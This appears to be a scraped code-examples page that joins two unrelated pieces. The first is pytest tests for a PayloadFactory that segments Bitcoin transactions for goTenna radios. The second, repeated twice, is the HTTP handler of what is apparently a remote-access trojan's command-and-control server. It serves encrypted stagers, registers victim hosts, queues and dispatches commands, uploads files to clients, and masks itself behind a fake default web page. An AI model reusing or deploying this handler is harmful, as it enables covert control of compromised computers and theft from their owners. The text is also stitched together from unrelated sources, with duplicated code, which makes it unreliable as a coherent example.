def test_from_segments_hash_mismatch(self, hex_gotenna_segments):

        payload_segment_0 = TxSegment("1000", "010000000104f98a8dcd4ebc881603fe81e85b46f2e55dce862bf6a8489f46be56956997fb010000006b4830450221008b5d",
                                      tx_hash="450f6de5d2b86c4f1618c6dfe06e86541094f39b6db4e11b9869aece24a89883",
                                      sequence_num=0, segment_count=3)
        bad_hash_segments = hex_gotenna_segments[1:]
        bad_hash_segments.insert(0, payload_segment_0)
        with pytest.raises(ValueError) as err:
            PayloadFactory.from_segments(bad_hash_segments)
        assert err.value.args[0] == "Transaction payload does not validate against transaction hash"
    def test_to_segments_gotenna_z85(self, z85_gotenna_segments, raw_hex_transaction):
        segments = PayloadFactory.to_segments(bytes.fromhex(raw_hex_transaction), "30", is_gotenna=True, use_z85=True,
                                              is_testnet=True)

        assert len(segments) == 2
        assert segments[0].serialize_to_json() == z85_gotenna_segments[0].serialize_to_json()
        assert segments[1].serialize_to_json() == z85_gotenna_segments[1].serialize_to_json()
    def test_to_segments_gotenna_hex(self, hex_gotenna_segments, raw_hex_transaction):

        segments = PayloadFactory.to_segments(bytes.fromhex(raw_hex_transaction), "1000", is_gotenna=True,
                                              use_z85=False, is_testnet=False)

        assert len(segments) == 3
        assert segments[0].serialize_to_json() == hex_gotenna_segments[0].serialize_to_json()
        assert segments[1].serialize_to_json() == hex_gotenna_segments[1].serialize_to_json()
        assert segments[2].serialize_to_json() == hex_gotenna_segments[2].serialize_to_json()
 def test_from_segments_missing_segments_from_bad_sequence(self, hex_gotenna_segments):
     incomplete_segments = hex_gotenna_segments[-2:]
     with pytest.raises(IncompletePayloadSegmentsError) as err:
         PayloadFactory.from_segments(incomplete_segments)
     assert err.value.args[0] == "Missing segment at index 0"
     assert err.value.missing_index == 0
 def test_from_segments_missing_segments_from_length_inspection(self, hex_gotenna_segments):
     incompete_segments = hex_gotenna_segments[0:1]
     with pytest.raises(IncompletePayloadSegmentsError) as err:
         PayloadFactory.from_segments(incompete_segments)
     assert err.value.args[0] == "Segments length does not match anticipated count in head at index 0"
     assert err.value.missing_index == 0
 def test_from_segments_hex_gotenna_segments(self, hex_gotenna_segments):
     raw_tx = PayloadFactory.from_segments(hex_gotenna_segments)
     assert raw_tx == bytes.fromhex("010000000104f98a8dcd4ebc881603fe81e85b46f2e55dce862bf6a8489f46be56956997fb010000006b4830450221008b5d109df78db7e9be30ddf59cf6b37826f495c35ec800f531f394db2ef036d8022021c0a0db1bae17a406f7f10017bfdc9c816febb60b8e5e3697ef3c7d57c87156012102c31ca8111f8adaf3cff9facd1ca30fba8e0acebebc7b51ad484ca615eaef6da1feffffff0240420f00000000001976a914e5bbd998864b9cf9ae76e5c0c779d9cc06e5457088ac8fa5a200000000001976a91441e85563ae76eccb3f2955906523b63c6394209a88ac00000000")
 def test_to_json(self, raw_hex_transaction, z85_gotenna_segments):
     json_segments = PayloadFactory.to_json(bytes.fromhex(raw_hex_transaction), "30", is_gotenna=True, use_z85=True,
                                            is_testnet=True)
     expected_json_segments = [segment.serialize_to_json() for segment in z85_gotenna_segments]
     assert json_segments[0] == expected_json_segments[0]
     assert json_segments[1] == expected_json_segments[1]
 def test_to_segments_single_segment(self):
     segments = PayloadFactory.to_segments(b'The Times 03 Jan 2009 Chancellor on Brink of Second Bailout for Banks.',
                                           "30", is_gotenna=True, use_z85=True, is_testnet=True)
     assert len(segments) == 1
     assert segments[0].tx_data == 'ra]?=rb3hXB09d)awc6WatLS8iuQX5vqYN^y&13gaA8culul^TyANLcax8&Yz/f8dlsBOAz/{dAw]zYjlsB+EB1N'
 def test_from_json(self, z85_gotenna_segments, raw_hex_transaction):
     tx = PayloadFactory.from_json([segment.serialize_to_json() for segment in z85_gotenna_segments])
     assert tx == bytes.fromhex(raw_hex_transaction)
예제 #10
0
    def do_POST(self):
        """Handles POST requests."""
        data = str(
            self.rfile.read(int(self.headers.getheader("Content-Length"))))

        if self.path == "/api/stager":
            # Send back a unique encrypted payload.
            client_key = data.split("&")[0].split("=")[1]
            payload_options = json.loads(
                base64.b64decode(
                    unquote_plus(data).split("&")[1].replace(
                        "Cookie=session=", "", 1)))
            loader_options = payload_options["loader_options"]

            self._output_view.add(self._output_view.SEPARATOR)
            self._output_view.add(
                "[%s] Creating payload using key: %s" %
                (payload_options["loader_name"], client_key)), "info"

            if not self._payload_factory:
                self._payload_factory = PayloadFactory(self._loader_factory)

            self.wfile.write(
                self._payload_factory.create_payload(payload_options,
                                                     loader_options,
                                                     client_key))
        elif self.path == "/api/get_command":
            # Command requests
            username = data.split("&")[0].replace("username="******"", 1)
            hostname = data.split("&")[1].replace("hostname=", "", 1)
            loader_name = data.split("&")[2].replace("loader=", "", 1)
            client_id = data.split("&")[3].replace("client_id=", "", 1)
            path = unquote_plus(data.split("&")[4].replace("path=", "", 1))
            remote_ip = unquote_plus(
                data.split("&")[5].replace("remote_ip=", "", 1))

            client = self._model.get_client(client_id)

            if not client:
                # This is the first time this client has connected.
                self._output_view.add(self._output_view.SEPARATOR)
                self._output_view.add(
                    "New client \"%s@%s\" connected!" % (username, hostname),
                    "info")

                self._model.add_client(
                    Client(client_id, username, hostname, remote_ip, path,
                           time.time(), loader_name))

                self.send_headers()
                self.wfile.write("You dun goofed.")
            else:
                # Update the client's session (path and last_online).
                self._model.update_client(client_id, path, time.time())

                # Send any pending commands to the client.
                command = self._model.get_command(client_id)

                if command:
                    self._model.remove_command(command.id)

                    # Special modules which need the server to do extra stuff.
                    if command.module_name in [
                            "update_client", "remove_client"
                    ]:
                        self._model.remove_client(client_id)

                        self.send_headers()
                        self.wfile.write(str(command))
                    elif command.module_name == "upload":
                        file_path = base64.b64decode(
                            command.command).split(":")[0].replace("\n", "")
                        file_name = os.path.basename(file_path)

                        self._output_view.add("Sending file to client...",
                                              "info")

                        with open(file_path, "rb") as input_file:
                            file_size = os.fstat(input_file.fileno())

                            self.send_response(200)
                            self.send_header("Content-Type",
                                             "application/octet-stream")
                            self.send_header(
                                "Content-Disposition",
                                "attachment; filename=\"%s\"" % file_name)
                            self.send_header("Content-Length",
                                             str(file_size.st_size))
                            self.send_header("X-Upload-Module",
                                             command.command)
                            self.end_headers()

                            shutil.copyfileobj(input_file, self.wfile)
                    else:
                        self.send_headers()
                        self.wfile.write(str(command))
                else:
                    # Client has no pending commands.
                    self.send_headers()
                    self.wfile.write("")
        elif self.path == "/api/response":
            # Command responses
            json_response = json.loads(
                base64.b64decode(unquote_plus(data.replace("output=", "", 1))))
            response = base64.b64decode(json_response["response"])
            module_name = json_response["module_name"]

            self.send_headers()

            if module_name:
                # Send the response back to the module
                for name, module_imp in self._module_factory.get_modules(
                ).iteritems():
                    if name == module_name:
                        try:
                            module_imp.process_response(
                                self._output_view, response)
                            break
                        except AttributeError:
                            # The module doesn't have a process_response method, that's fine.
                            self.output_response(response)
            else:
                # Command response
                self.output_response(response)
예제 #11
0
class ClientController(BaseHTTPRequestHandler):
    """This class handles HTTPS requests and responses."""
    _model = None
    _output_view = None
    _module_factory = None
    _loader_factory = None
    _payload_factory = None

    def send_headers(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_POST(self):
        """Handles POST requests."""
        data = str(
            self.rfile.read(int(self.headers.getheader("Content-Length"))))

        if self.path == "/api/stager":
            # Send back a unique encrypted payload.
            client_key = data.split("&")[0].split("=")[1]
            payload_options = json.loads(
                base64.b64decode(
                    unquote_plus(data).split("&")[1].replace(
                        "Cookie=session=", "", 1)))
            loader_options = payload_options["loader_options"]

            self._output_view.add(self._output_view.SEPARATOR)
            self._output_view.add(
                "[%s] Creating payload using key: %s" %
                (payload_options["loader_name"], client_key)), "info"

            if not self._payload_factory:
                self._payload_factory = PayloadFactory(self._loader_factory)

            self.wfile.write(
                self._payload_factory.create_payload(payload_options,
                                                     loader_options,
                                                     client_key))
        elif self.path == "/api/get_command":
            # Command requests
            username = data.split("&")[0].replace("username="******"", 1)
            hostname = data.split("&")[1].replace("hostname=", "", 1)
            loader_name = data.split("&")[2].replace("loader=", "", 1)
            client_id = data.split("&")[3].replace("client_id=", "", 1)
            path = unquote_plus(data.split("&")[4].replace("path=", "", 1))
            remote_ip = unquote_plus(
                data.split("&")[5].replace("remote_ip=", "", 1))

            client = self._model.get_client(client_id)

            if not client:
                # This is the first time this client has connected.
                self._output_view.add(self._output_view.SEPARATOR)
                self._output_view.add(
                    "New client \"%s@%s\" connected!" % (username, hostname),
                    "info")

                self._model.add_client(
                    Client(client_id, username, hostname, remote_ip, path,
                           time.time(), loader_name))

                self.send_headers()
                self.wfile.write("You dun goofed.")
            else:
                # Update the client's session (path and last_online).
                self._model.update_client(client_id, path, time.time())

                # Send any pending commands to the client.
                command = self._model.get_command(client_id)

                if command:
                    self._model.remove_command(command.id)

                    # Special modules which need the server to do extra stuff.
                    if command.module_name in [
                            "update_client", "remove_client"
                    ]:
                        self._model.remove_client(client_id)

                        self.send_headers()
                        self.wfile.write(str(command))
                    elif command.module_name == "upload":
                        file_path = base64.b64decode(
                            command.command).split(":")[0].replace("\n", "")
                        file_name = os.path.basename(file_path)

                        self._output_view.add("Sending file to client...",
                                              "info")

                        with open(file_path, "rb") as input_file:
                            file_size = os.fstat(input_file.fileno())

                            self.send_response(200)
                            self.send_header("Content-Type",
                                             "application/octet-stream")
                            self.send_header(
                                "Content-Disposition",
                                "attachment; filename=\"%s\"" % file_name)
                            self.send_header("Content-Length",
                                             str(file_size.st_size))
                            self.send_header("X-Upload-Module",
                                             command.command)
                            self.end_headers()

                            shutil.copyfileobj(input_file, self.wfile)
                    else:
                        self.send_headers()
                        self.wfile.write(str(command))
                else:
                    # Client has no pending commands.
                    self.send_headers()
                    self.wfile.write("")
        elif self.path == "/api/response":
            # Command responses
            json_response = json.loads(
                base64.b64decode(unquote_plus(data.replace("output=", "", 1))))
            response = base64.b64decode(json_response["response"])
            module_name = json_response["module_name"]

            self.send_headers()

            if module_name:
                # Send the response back to the module
                for name, module_imp in self._module_factory.get_modules(
                ).iteritems():
                    if name == module_name:
                        try:
                            module_imp.process_response(
                                self._output_view, response)
                            break
                        except AttributeError:
                            # The module doesn't have a process_response method, that's fine.
                            self.output_response(response)
            else:
                # Command response
                self.output_response(response)

    def output_response(self, response):
        """Sends the response to the output view."""
        self._output_view.add(self._output_view.SEPARATOR)

        if "\n" in response:
            for line in response.split("\n"):
                if line.startswith(MESSAGE_INFO):
                    self._output_view.add(line.replace(MESSAGE_INFO, ""),
                                          "info")
                elif line.startswith(MESSAGE_ATTENTION):
                    self._output_view.add(line.replace(MESSAGE_ATTENTION, ""),
                                          "attention")
                else:
                    self._output_view.add(line)
        else:
            self._output_view.add(response)

    def do_GET(self):
        self.send_headers()

        if self.path == "/api/get_ca":
            # Send back our certificate authority.
            with open("server.cert") as input_file:
                self.wfile.write(
                    base64.b64encode("".join(input_file.readlines())))
        else:
            # Show a standard looking page.
            page = """\
            <html><body><h1>It works!</h1>
            <p>This is the default web page for this server.</p>
            <p>The web server software is running but no content has been added, yet.</p>
            </body></html>
            """
            self.wfile.write(page)

    def handle(self):
        try:
            BaseHTTPRequestHandler.handle(self)
        except SSLError as ex:
            if "alert unknown ca" in str(ex):
                # See https://support.mozilla.org/en-US/kb/troubleshoot-SEC_ERROR_UNKNOWN_ISSUER
                self._output_view.add(
                    "Showing \"Your connection is not secure\" message to user.",
                    "attention")
            else:
                self._output_view.add("Error: " + str(ex), "attention")

    def log_message(self, format, *args):
        return  # Don't log random stuff we don't care about, thanks.